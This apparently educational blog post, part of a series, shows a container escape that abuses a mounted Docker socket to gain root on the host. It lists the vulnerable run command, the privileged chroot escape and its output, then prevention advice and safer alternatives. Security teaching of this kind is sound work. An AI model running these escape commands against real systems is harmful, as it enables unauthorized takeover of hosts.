Advanced Docker Attacks: Abusing the Docker Socket

The Most Dangerous Docker Misconfiguration

Mounting the Docker socket inside a container (/var/run/docker.sock) grants root-level control over the host. This is not a CVE, but a dangerous misuse of default features that can lead to full host compromise.

Setup: Vulnerable Docker Deployment

Problematic Run Command

# DO NOT DO THIS IN PRODUCTION 

$ docker run -v /var/run/docker.sock:/var/run/docker.sock -it --name socket-lab alpine        

This mount provides the container with access to the Docker daemon of the host - effectively making it root-equivalent.

Exploitation: Spawn a Host-Level Container from Inside

Step 1: List Files Inside Container

/ $ ls 
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var        

Step 2: Install Docker CLI in Alpine

/ $ apk add --no-cache docker-cli        

Installed Packages:

• docker-cli
• ca-certificates
• makefile

OK: 38 MiB in 18 packages        

Step 3: Escape to Host by Spawning a Privileged Container

Using the Docker CLI inside the container:

/ $ docker run -it --privileged --net=host -v/:/host alpine chroot /host        

This gives access to the host filesystem and namespaces.

Output inside Host Container:

root@jenish-Precision-5520:/$ ls                                          

bin boot dev home lib.usr-is-merged lost+found mnt proc run sbin.usr-is-merged srv sys usr bin.usr-is-merged cdrom etc lib lib64 media opt root sbin snap swap.img tmp var        

You’ve now broken out of the original container and are chrooted into the host!

Security Insight: What This Teaches Us

Here are the key takeaways from this misconfiguration:

• Mounting Docker Socket: This single action grants full control of the host's Docker daemon. Prevention: Never mount "/var/run/docker.sock" in your containers.
• Lack of seccomp/AppArmor: Without these security profiles, containers have unrestricted syscall execution. Prevention: Enable and customize security profiles.
• Privileged Container Access: Using the "--privileged" flag allows for device and kernel abuse. Prevention: Never use "--privileged" in production.

Why It Matters

• Attackers don’t need exploits - defaults can be deadly.
• Mounting the Docker socket is equivalent to gaining root access over the host.
• A single misused mount in CI/CD or Kubernetes can lead to cluster compromise.

Safer Alternatives

• For CI with Docker: Use isolated, purpose-built tools like kaniko, buildah, or a Docker-in-Docker (DIND) setup.
• For Debugging Containers: Use ephemeral Kubernetes containers to get shell access without elevated privileges.
• For Monitoring Containers: Utilize audit logs and read-only agents that do not require access to the host's daemon.

Final Takeaway

• The Docker socket is the crown jewel - protect it.
• Never run containers with more privilege than needed.
• CI/CD security must isolate the build context from the host.

What's Next in this Series

This is the final offensive part of our journey. In Part 3, we will pivot from attack to defense, providing a comprehensive checklist of strategies to secure your Docker environments and pipelines, and sharing my overall white-hat philosophy.

References and Further Reading

This article is based on personal research and experience. The tools and software mentioned are open-source, and this article serves as educational commentary. The following authoritative resources provide additional context and guidance on container security best practices.

• OWASP Docker Security Cheat Sheet: A guide on common Docker security pitfalls and best practices from a trusted, non-profit security organization.
• NIST Special Publication 800-190: A comprehensive, in-depth guide on container security from the National Institute of Standards and Technology.
• Docker's Official Security Documentation: The official source for understanding how Docker's built-in security features work.